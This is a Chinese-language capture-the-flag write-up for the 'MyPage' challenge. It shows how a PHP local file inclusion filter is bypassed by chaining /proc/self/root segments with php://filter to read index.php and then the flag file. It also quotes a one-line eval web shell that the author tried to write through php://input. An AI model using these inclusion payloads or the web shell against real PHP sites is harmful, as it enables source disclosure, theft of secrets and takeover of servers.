【NSSRound#8 Basic】MyPage

MyPage

//读取文件源码
file=php://filter/read=convert.base64-encode/resource=phpinfo.php
//写入一句话木马
ile=php://input
<?php
fput fopen('s.php','w'),'<?php
@eval($_POST[cmd])
?>');
?>

以上两种都没有用

猜测是require_once，尝试绕过它

/proc/self指向当前进程的/proc/pid/，/proc/self/root/是指向/的符号链接

cwd 文件是一个指向当前进程运行目录的符号链接

尝试配合读取文件源码的伪协议绕过

payload:http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

得到：

PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaW5jbHVkZSAnZmxhZy5waHAnOw0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGVfb25jZSAkZmlsZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBkaWUoJ2Vycm9yLicpOw0KICAgIH0NCn0=

base64解密：

<?php
error_reporting(0);

include 'flag.php';

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include_once $file;
    } else {
        die('error.');
    }
}

过滤了一堆协议，尝试直接读取flag

http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

PD9waHAKJGZsYWc9J05TU0NURnszOGYzYzc4NS04Y2MzLTQ2MjctODI2Ny1hZjBjYTg1YWY4MTV9JzsK
解码：
<?php
$flag='NSSCTF{38f3c785-8cc3-4627-8267-af0ca85af815}';